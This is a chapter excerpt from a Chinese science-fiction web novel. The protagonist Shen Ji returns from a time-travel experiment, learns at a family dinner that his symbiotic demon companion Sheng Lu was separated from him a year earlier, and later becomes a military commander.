沈继抬起头，看向宇宙星河，在最后一刻，穿梭机撞上能量光束前，穿越仪器准确将他带了回来，否则他的骨灰早就成为宇宙的一颗尘埃了。 “对不起，我没有完成最后的任务，没有得到任何有效的信息。” 导师被他突如其来的“真诚”给唬得怔了一下：“虽然很可惜，当然，学校能理解，平安就好。” 劳埃斯他们也惊呆了，沈继什么时候学会道歉了？ 导师道：“好了，歌雅实验正式结束，大家回到学校好好休息，关于表彰的事情，到时候具体通知。” 沈继现在只关心，圣路是否登上了宇宙飞船。 他试着在心里呼唤圣路的名字。 在以前，他偶尔也能在精神海里叫醒圣路。 然而没有人回应他。 他发现自己的身体和以往也不同，现在他感到一阵轻松。 没有精力不济，更没有感到困顿嗜睡的现象。 这在以前，只要清醒超过八个小时，他就困得不行了。 但现在，他可以像雷伊他们一样，熬夜通宵都不觉得疲惫。 一向没心没肺的沈继，现在也感到强烈的不安。 难道圣路死在了十万年前的末日？ 他这么悲哀地想。 也许圣路真的登上了飞船，他改变了最后的时刻，因此，圣路不会成为火种，也就不会存在他脑海里了。 他又心存侥幸地想。 在暑假的时候，沈继回了一趟家里。 悬浮舰还没落地，远远就能看见父亲正坐在透明的屋顶下。 有种恍如隔世的感觉。 吃饭的时候，沈继无意中提了一句：“爸，你以前认识一个和我同名的朋友吗？” 他们所在的小星球地处荒星边缘地带，可以说与世隔绝。 家里人还不知道他去参加了歌雅实验。 沈越一怔：“你怎么知道？你二叔告诉你的？” 沈继觉得不必挑明，也就默认了。 沈越就神秘兮兮地笑起来：“说起来，你和他长得还真像，我挺喜欢他的。” 餐桌的气压一瞬间低到冰点，众人骨头发冷。 一家人看向主座上的塔烈因，又纷纷同情地看向沈越。 塔烈因笑了，声线像下刀子：“怀孕的时候就说生下来的孩子要叫沈继，哼，原来，儿子的名字是白月光的名字啊。” 沈继：我好像给亲爸挖了个坑。 他抬手想解释。 沈越正忙着给爱人降火：“我是说，他跟我很有父子缘，我只是想生个和他一样优秀的儿子！” 塔烈因冷笑：“怎么，那你没跟他生吗？” “怎么可能，而且他也是Enigma啊。”沈越觉得莫名其妙。 “哦？如果他不是Enigma，你就可以了是吗？” “……”沈越觉得这情况光靠嘴巴说不清了，于是干脆把人带回房间里哄了。 其他人早就见怪不怪了。 弟弟察卓笑道：“爹地最近好像有点情绪波动，爸爸也乐意哄。” 沈继觉得不对劲，自从他小时候被确认和大恶魔共生一体后，家里人的注意力就一直在他身上。 长大后，尽力有限，越来越嗜睡，父亲和爹地的表情就藏不住的担忧。 每次回家来，说不上嘘寒问暖，但也一定要仔细地询问一遍最近的状况。 但现在，他时隔半年回到家里，家里人居然一点也没提及关于圣路的事情。 这真的不对劲。 “察卓，你不问一下我最近的状况吗？” 察卓立刻表现出忧心忡忡：“哥，你怎么了？你是要谈恋爱了，要给我带嫂子了吗？” 沈继直截了当：“我最近感觉不到圣路的存在了。” 察卓莫名其妙：“你当然感觉不到啊，去年的时候，二叔来我们家，带了一个特别可怕的仪器，把圣路的意识和你的身体分离了，你忘记了？现在你好的很呢……” 后面的话，沈继甚至没听清楚，他只觉得脑子一片混乱。 怎么可能一年前他就和圣路分离了，明明之前在学校还召唤过他的意识出来。 甚至半年前，为了杀死圣路，他穿到歌雅世界。 难道说，是他的穿越，影响了历史，也改变了他和圣路的命运， “那二叔来的时候，说了什么？” “哥，你是失忆了？二叔说了，你以后不会再有那些副作用了。” “那圣路呢？”沈继口吻紧张，神态甚紧。 察卓还没看见过他这么紧张过，惊讶道：“我也不知道，二叔没说，不过圣路怎么说也是火种，歌雅人应该会想办法复活他。” 他安慰哥哥，毕竟两个人共生了这么久，多少会有感情吧。 沈继坐在那里，看着窗外的天空，目光深沉凝重。 之后的几年，二叔没有来过，沈继也没有得到过关于圣路的消息。 歌雅人类包括二叔在十万年后的今天，早已经脱离了三维，二叔可以勉强降低半个纬度来找他们，但他们永远没办法超脱纬度去寻找二叔。 就算圣路复活后，与他也将是两个不同纬度对生命了。 在毕业后，雷伊几人进入了帝国机甲部，成为一名上校军官。 沈继由于在歌雅实验中的能力，被国王亲自点名，成为少将指挥官。 因为英俊的形象和冷静清醒的性格，早在几年前，他就已经是星网上被追捧的对象。 现在成为指挥官，戴上军帽和墨色作战军装，配得身材高阔挺拔，偶尔也有战场指挥的视频流传到星网上，引得网友们呱呱尖叫。 就像雷伊说的：“沈继，你要是有星网账号，粉丝量肯定比我们几个加起来还要多两倍！你这样顺风顺水的人生，还要什么遗憾呢？” 沈继道：“最近，好像有个变态一直在跟踪我。” 这阵子，无论他走到哪里，总感觉到身后有一道热烈黏腻的视线。【你现在阅读的是魔蝎小说 moxiexs】